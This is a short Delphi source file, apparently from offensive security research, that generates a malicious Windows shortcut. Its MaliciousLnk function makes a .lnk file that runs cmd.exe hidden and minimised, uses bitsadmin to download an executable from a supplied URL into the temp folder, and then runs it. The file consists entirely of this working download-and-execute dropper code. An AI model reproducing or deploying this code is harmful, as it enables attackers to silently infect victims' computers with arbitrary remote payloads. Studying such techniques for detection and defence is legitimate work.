gen_malicious_shortcut.pas

uses ActiveX, ShlObj, ComObj;

// ...

function MaliciousLnk(fileUrl, destFile : String) : Boolean;
var cObject   : IUnknown;
    shellLink : IShellLink;
    PFile     : IPersistFile;

    LinkName  : string;
    Cmd       : String;
begin
  result := false;
  CoInitialize(nil);
  try
    cObject := CreateComObject(CLSID_ShellLink);
    shellLink := cObject as IShellLink;
    PFile := cObject as IPersistFile;

    Cmd := '/C "c:\windows\system32\bitsadmin.exe /transfer downloader /priority normal "' + fileURL + '" %temp%\tmp.exe & %temp%\tmp.exe"';

    shellLink.SetDescription('www.phrozen.io');
    shellLink.SetPath('cmd.exe');
    shellLink.SetArguments(PWideChar(cmd));
    shellLink.SetShowCmd(SW_SHOWMINNOACTIVE);
    shellLink.SetWorkingDirectory('%windir%\system32\');
    shellLink.SetIconLocation('shell32.dll', 1);

    result := PFile.Save(PWideChar(destFile), false) = S_OK;
  finally
    CoUninitialize();
  end;
end;

//...